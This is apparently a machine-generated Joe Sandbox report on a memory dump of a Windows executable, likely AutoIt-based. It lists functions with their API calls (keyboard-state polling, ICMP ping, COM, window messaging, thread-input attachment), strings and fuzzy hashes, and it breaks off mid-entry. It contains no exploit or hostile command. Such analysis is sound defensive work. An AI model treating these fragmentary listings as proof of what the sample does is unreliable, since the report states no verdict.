Opcode Fuzzy Hash: b543d504fb3ee7c52ae182ce244d8a6a6701e98c0f48f7accbb5a2bbb7330d96
Instruction Fuzzy Hash: 9D417035A0021A9FCF04DF64D8649EEBBB9FF08344F109069E955F7261DB70A945CF90

Function 00EA9C79 Relevance: 16.6, APIs: 11, Instructions: 119keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00EA9CA1
GetAsyncKeyState.USER32(000000A0), ref: 00EA9D22
GetKeyState.USER32(000000A0), ref: 00EA9D3D
GetAsyncKeyState.USER32(000000A1), ref: 00EA9D57
GetKeyState.USER32(000000A1), ref: 00EA9D6C
GetAsyncKeyState.USER32(00000011), ref: 00EA9D84
GetKeyState.USER32(00000011), ref: 00EA9D96
GetAsyncKeyState.USER32(00000012), ref: 00EA9DAE
GetKeyState.USER32(00000012), ref: 00EA9DC0
GetAsyncKeyState.USER32(0000005B), ref: 00EA9DD8
GetKeyState.USER32(0000005B), ref: 00EA9DEA

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: ae1b53eb5400c017343da7ccf4f5c250e7fcbfe0a838fe4cca55ed9adc397490
Instruction ID: 506d288515bfa5406750d3e90786c7ceadfddb10f8ff159e2c522af694095074
Opcode Fuzzy Hash: ae1b53eb5400c017343da7ccf4f5c250e7fcbfe0a838fe4cca55ed9adc397490
Instruction Fuzzy Hash: 9A41C734504BCA6DFF30866094443A5FEE0AF1B358F08905AD6C67E5C3D7A4B9C8C792

Function 00EC055B Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 207networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00EC05BC
inet_addr.WSOCK32(?), ref: 00EC061C
gethostbyname.WSOCK32(?), ref: 00EC0628
IcmpCreateFile.IPHLPAPI ref: 00EC0636
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00EC06C6
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 00EC06E5
IcmpCloseHandle.IPHLPAPI(?), ref: 00EC07B9
WSACleanup.WSOCK32 ref: 00EC07BF

Strings

Ping, xrefs: 00EC0676

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: 24e3b950196ec37de496c770a6173e5f8e653d1f62f27d1be70d6f30f6b4a06c
Instruction ID: a934fd4e5c16a680a1b7de5626ec4c7349ba41d9153cb0317ba1b4f5e9cdfe7b
Opcode Fuzzy Hash: 24e3b950196ec37de496c770a6173e5f8e653d1f62f27d1be70d6f30f6b4a06c
Instruction Fuzzy Hash: 5591AC34608201DFD724DF15D689F1ABBE0EF48318F1495AEE469AB6A2C731ED46CF81

Function 00EC8CD3 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 193COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,00000000,?), ref: 00EC8CF3

Part of subcall function 00EA8E54: _wcslen.LIBCMT ref: 00EA8E77

_wcslen.LIBCMT ref: 00EC8D4E
_wcslen.LIBCMT ref: 00EC8D9C
_wcslen.LIBCMT ref: 00EC8DDC
_wcslen.LIBCMT ref: 00EC8E6E

Strings

stdcall, xrefs: 00EC8DD6, 00EC8DDB
winapi, xrefs: 00EC8D96, 00EC8D9B
cdecl, xrefs: 00EC8D48, 00EC8D4D
none, xrefs: 00EC8E65, 00EC8E6A

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: _wcslen$BuffCharLower
String ID: cdecl$none$stdcall$winapi
API String ID: 707087890-567219261
Opcode ID: 6e74fbf46b8306b90543d4e65272cda32b53a6383d5edb8cc7404a0c7a1fa702
Instruction ID: 3339b709c0a213b7b03b38cf2a9e9dc7cb5fb9e6c833d71dea169b2d9cb2cc65
Opcode Fuzzy Hash: 6e74fbf46b8306b90543d4e65272cda32b53a6383d5edb8cc7404a0c7a1fa702
Instruction Fuzzy Hash: FC518D31A001169ACB14DF68CB50ABEB7E5AF64328B20522DE426F72C5DB32ED42C790

Function 00EC372C Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 187comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 00EC3774
CoUninitialize.OLE32 ref: 00EC377F
CoCreateInstance.OLE32(?,00000000,00000017,00EDFB78,?), ref: 00EC37D9
IIDFromString.OLE32(?,?), ref: 00EC384C
VariantInit.OLEAUT32(?), ref: 00EC38E4
VariantClear.OLEAUT32(?), ref: 00EC3936

Strings

Failed to create object, xrefs: 00EC37E4, 00EC389A
NULL Pointer assignment, xrefs: 00EC381E
Invalid parameter, xrefs: 00EC3865

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 636576611-1287834457
Opcode ID: bdb725454fe020780ea25b7111cae830fc245dc0250e74ec6e96070d4f60c429
Instruction ID: e9d7b0446c6a16912fa1cb3767fc1d4af5852fa2e44968ab67c3ff090f670d5d
Opcode Fuzzy Hash: bdb725454fe020780ea25b7111cae830fc245dc0250e74ec6e96070d4f60c429
Instruction Fuzzy Hash: 7261BD71608301AFD314DF64D988F9ABBE4EF49714F10980EF985AB291C771EE49CB92

Function 00EB3388 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 149COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,?), ref: 00EB33CF

Part of subcall function 00E49CB3: _wcslen.LIBCMT ref: 00E49CBD

LoadStringW.USER32(00000072,?,00000FFF,?), ref: 00EB33F0

Strings

Error: , xrefs: 00EB34D1
"%s" (%d) : ==> %s:, xrefs: 00EB3522
Line %d (File "%s"):, xrefs: 00EB3443, 00EB345C
Incorrect parameters to object property !, xrefs: 00EB34AB
^ ERROR , xrefs: 00EB349E
"%s" (%d) : ==> %s:%s%s, xrefs: 00EB3504

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: LoadString$_wcslen
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
API String ID: 4099089115-3080491070
Opcode ID: 3c08b6af42e307bab3e9dbb9d0e5cc08b6d7bd5a9952ba0d063397227a261e9f
Instruction ID: d7190169f1d8b9aa70a09650f4b59cfb2f1075d947c484973b5de2579d271f8a
Opcode Fuzzy Hash: 3c08b6af42e307bab3e9dbb9d0e5cc08b6d7bd5a9952ba0d063397227a261e9f
Instruction Fuzzy Hash: B151A272D00209AADF15EBE0ED46EEEB3B9EF08340F205165F51572092EB356F58EB61

Function 00EAB5C8 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 142COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00EAB5FC
_wcslen.LIBCMT ref: 00EAB608
_wcslen.LIBCMT ref: 00EAB64D
_wcslen.LIBCMT ref: 00EAB68C
_wcslen.LIBCMT ref: 00EAB6C7

Strings

APPEND, xrefs: 00EAB6C1, 00EAB6C6
EXISTS, xrefs: 00EAB686, 00EAB68B
REMOVE, xrefs: 00EAB602, 00EAB607
KEYS, xrefs: 00EAB647, 00EAB64C

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 1256254125-769500911
Opcode ID: e1782025a3b2838c75b98c32b0351370c4c6278639a2e965d73207f51e8916f8
Instruction ID: 97223d1f27c8c40dfa3129a70fad2361a066279bc4cbae0465fd4efbd5ae2c10
Opcode Fuzzy Hash: e1782025a3b2838c75b98c32b0351370c4c6278639a2e965d73207f51e8916f8
Instruction Fuzzy Hash: B241EC32A000279BCB105F7DC8905BE77E5AFEA758B245229E421FF286E731DD81D790

Function 00EB5393 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 103COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00EB53A0
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 00EB5416
GetLastError.KERNEL32 ref: 00EB5420
SetErrorMode.KERNEL32(00000000,READY), ref: 00EB54A7

Strings

NOTREADY, xrefs: 00EB544B
READONLY, xrefs: 00EB5452
UNKNOWN, xrefs: 00EB5444
READY, xrefs: 00EB5460, 00EB5468
INVALID, xrefs: 00EB5459

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: 66080c257d91e04a68380c5e0f189d1bf3b751b5830d9ac7343956cdc4b26ece
Instruction ID: 0bbb4fc5ee9c83fd06890bc0d1ba6193be72887f5061cb1e4f5a4afd4c2a329d
Opcode Fuzzy Hash: 66080c257d91e04a68380c5e0f189d1bf3b751b5830d9ac7343956cdc4b26ece
Instruction Fuzzy Hash: 2A31B036A006059FD710DF68D884BEBBBF4EF45309F149066E416EB292DB71DD86CB90

Function 00ED3C46 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 101windowCOMMON

Download Yara Rule

APIs

CreateMenu.USER32 ref: 00ED3C79
SetMenu.USER32(?,00000000), ref: 00ED3C88
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00ED3D10
IsMenu.USER32(?), ref: 00ED3D24
CreatePopupMenu.USER32 ref: 00ED3D2E
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00ED3D5B
DrawMenuBar.USER32 ref: 00ED3D63

Strings

F, xrefs: 00ED3D4E
0, xrefs: 00ED3C54

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup
String ID: 0$F
API String ID: 161812096-3044882817
Opcode ID: 33e65c90e69cbc94b2e18e932df941d9b6fa2b55c1cfce9b20a33b2d6c35626b
Instruction ID: b0f0d3346c1054d9dec3ff9c146eb38ca015f22bfbd7fa22c80814dc6b83bfe3
Opcode Fuzzy Hash: 33e65c90e69cbc94b2e18e932df941d9b6fa2b55c1cfce9b20a33b2d6c35626b
Instruction Fuzzy Hash: AF417E75A0120AEFDF14CF65E844ADA77B6FF49354F24002AF946A7360D730AA15CF51

Function 00EA1EDF Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 78windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E49CB3: _wcslen.LIBCMT ref: 00E49CBD

Part of subcall function 00EA3CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00EA3CCA

SendMessageW.USER32(?,0000018C,000000FF,00020000), ref: 00EA1F64
GetDlgCtrlID.USER32 ref: 00EA1F6F
GetParent.USER32 ref: 00EA1F8B
SendMessageW.USER32(00000000,?,00000111,?), ref: 00EA1F8E
GetDlgCtrlID.USER32(?), ref: 00EA1F97
GetParent.USER32(?), ref: 00EA1FAB
SendMessageW.USER32(00000000,?,00000111,?), ref: 00EA1FAE

Strings

ComboBox, xrefs: 00EA1EEC
ListBox, xrefs: 00EA1F21

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_wcslen
String ID: ComboBox$ListBox
API String ID: 711023334-1403004172
Opcode ID: 7bc752ed4032718e28d8c6859ede319dfe6dc4bc86c30083e0c289e9bee3ab73
Instruction ID: 137fd97e28f3185bcab59ddd27516a544e738022563c734532849cdffc5e4a83
Opcode Fuzzy Hash: 7bc752ed4032718e28d8c6859ede319dfe6dc4bc86c30083e0c289e9bee3ab73
Instruction Fuzzy Hash: EC21B374E00114BFCF04AFA0EC859EEBBB4EF0A350F101156B961772D1CB74A908DB61

Function 00EA1FC0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 77windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E49CB3: _wcslen.LIBCMT ref: 00E49CBD

Part of subcall function 00EA3CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00EA3CCA

SendMessageW.USER32(?,00000186,00020000,00000000), ref: 00EA2043
GetDlgCtrlID.USER32 ref: 00EA204E
GetParent.USER32 ref: 00EA206A
SendMessageW.USER32(00000000,?,00000111,?), ref: 00EA206D
GetDlgCtrlID.USER32(?), ref: 00EA2076
GetParent.USER32(?), ref: 00EA208A
SendMessageW.USER32(00000000,?,00000111,?), ref: 00EA208D

Strings

ComboBox, xrefs: 00EA1FCD
ListBox, xrefs: 00EA2002

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_wcslen
String ID: ComboBox$ListBox
API String ID: 711023334-1403004172
Opcode ID: 9d176de7fd9dc129f9bd4c3873a92b61ca876513223598fc6702c164a9b17570
Instruction ID: 2a842223ff2ec316dd34a29f80e3859cee459068d134f5c1ec4e867f6b9c6ff8
Opcode Fuzzy Hash: 9d176de7fd9dc129f9bd4c3873a92b61ca876513223598fc6702c164a9b17570
Instruction Fuzzy Hash: FF21D775D00214BFCF14AFA4DC85EEEBFB8EF09340F105006B951BB191CA759918DB61

Function 00ED3A23 Relevance: 15.2, APIs: 10, Instructions: 182windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00ED3A9D
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00ED3AA0
GetWindowLongW.USER32(?,000000F0), ref: 00ED3AC7
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00ED3AEA
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00ED3B62
SendMessageW.USER32(?,00001074,00000000,00000007), ref: 00ED3BAC
SendMessageW.USER32(?,00001057,00000000,00000000), ref: 00ED3BC7
SendMessageW.USER32(?,0000101D,00001004,00000000), ref: 00ED3BE2
SendMessageW.USER32(?,0000101E,00001004,00000000), ref: 00ED3BF6
SendMessageW.USER32(?,00001008,00000000,00000007), ref: 00ED3C13

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: MessageSend$LongWindow
String ID:
API String ID: 312131281-0
Opcode ID: f10e226a1cd8e3d05961841f2bc4f072351faf821fbb23e4409249597fc38637
Instruction ID: 9ba20eb11699899047fb5f43ef814fff2d704ede4fe1c31fb97acd1694ad3692
Opcode Fuzzy Hash: f10e226a1cd8e3d05961841f2bc4f072351faf821fbb23e4409249597fc38637
Instruction Fuzzy Hash: 9E615B75A00248AFDB10DFA8CC81EEE77F8EB09714F10419AFA15A7391D770AE46DB61

Function 00EAB12F Relevance: 15.1, APIs: 10, Instructions: 88threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00EAB151
GetForegroundWindow.USER32(00000000,?,?,?,?,?,00EAA1E1,?,00000001), ref: 00EAB165
GetWindowThreadProcessId.USER32(00000000), ref: 00EAB16C
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00EAA1E1,?,00000001), ref: 00EAB17B
GetWindowThreadProcessId.USER32(?,00000000), ref: 00EAB18D
AttachThreadInput.USER32(?,00000000,00000001,?,?,?,?,?,00EAA1E1,?,00000001), ref: 00EAB1A6
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00EAA1E1,?,00000001), ref: 00EAB1B8
AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,00EAA1E1,?,00000001), ref: 00EAB1FD
AttachThreadInput.USER32(?,?,00000000,?,?,?,?,?,00EAA1E1,?,00000001), ref: 00EAB212
AttachThreadInput.USER32(00000000,?,00000000,?,?,?,?,?,00EAA1E1,?,00000001), ref: 00EAB21D

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: 04ad2d3224992846975bc28a5c81e2d6e5859f776144f2f1f35fd4fbd7369c98
Instruction ID: f0822bf3b4f0d7e82295bd6f07cec7db2943c219d6b01ddf250a87c85db891df
Opcode Fuzzy Hash: 04ad2d3224992846975bc28a5c81e2d6e5859f776144f2f1f35fd4fbd7369c98
Instruction Fuzzy Hash: E431C371501208BFDB109F25EC44BAD7BA9FB5A399F219006F911FA1A1D7B4AD40CF70

Function 00E72C80 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00E72C94

Part of subcall function 00E729C8: RtlFreeHeap.NTDLL(00000000,00000000,?,00E7D7D1,00000000,00000000,00000000,00000000,?,00E7D7F8,00000000,00000007,00000000,?,00E7DBF5,00000000), ref: 00E729DE
Part of subcall function 00E729C8: GetLastError.KERNEL32(00000000,?,00E7D7D1,00000000,00000000,00000000,00000000,?,00E7D7F8,00000000,00000007,00000000,?,00E7DBF5,00000000,00000000), ref: 00E729F0

_free.LIBCMT ref: 00E72CA0
_free.LIBCMT ref: 00E72CAB
_free.LIBCMT ref: 00E72CB6
_free.LIBCMT ref: 00E72CC1
_free.LIBCMT ref: 00E72CCC
_free.LIBCMT ref: 00E72CD7
_free.LIBCMT ref: 00E72CE2
_free.LIBCMT ref: 00E72CED
_free.LIBCMT ref: 00E72CFB

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 9f19e327e29317bc26eaae652a9fdabb019bb6843338b74cd61ef6d379592a61
Instruction ID: 3a2aae6ce47a1cb69755843b8c97b571b5a9609d963a5aa2637e0a22983ddb2f
Opcode Fuzzy Hash: 9f19e327e29317bc26eaae652a9fdabb019bb6843338b74cd61ef6d379592a61
Instruction Fuzzy Hash: B511A776500108AFCB02EF64D842CDD7BA5FF45350F4594A9FB4C6F222D631EE909B90

Function 00EB7DF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00EB7FAD
SetCurrentDirectoryW.KERNEL32(?), ref: 00EB7FC1
GetFileAttributesW.KERNEL32(?), ref: 00EB7FEB
SetFileAttributesW.KERNEL32(?,00000000), ref: 00EB8005
SetCurrentDirectoryW.KERNEL32(?), ref: 00EB8017
SetCurrentDirectoryW.KERNEL32(?), ref: 00EB8060
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 00EB80B0

Strings

*.*, xrefs: 00EB8066

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: CurrentDirectory$AttributesFile
String ID: *.*
API String ID: 769691225-438819550
Opcode ID: 468841fdd3a09dd053eb56bebc77cefc51b1e368cd054a1be410d4b99f350514
Instruction ID: dcabc4ec09e831817637197586a52e090e32ba34acf1b43be4ecb994f1897ea5
Opcode Fuzzy Hash: 468841fdd3a09dd053eb56bebc77cefc51b1e368cd054a1be410d4b99f350514
Instruction Fuzzy Hash: 03818F715082019BDB20EF14C844AEBB3E8AFC8354F14685EF8C5E7651EB35ED49CB92

Function 00E45BEA Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 00E45C7A

Part of subcall function 00E45D0A: GetClientRect.USER32(?,?), ref: 00E45D30
Part of subcall function 00E45D0A: GetWindowRect.USER32(?,?), ref: 00E45D71
Part of subcall function 00E45D0A: ScreenToClient.USER32(?,?), ref: 00E45D99

GetDC.USER32 ref: 00E846F5
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 00E84708
SelectObject.GDI32(00000000,00000000), ref: 00E84716
SelectObject.GDI32(00000000,00000000), ref: 00E8472B
ReleaseDC.USER32(?,00000000), ref: 00E84733
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 00E847C4

Strings

U, xrefs: 00E84693

Memory Dump Source

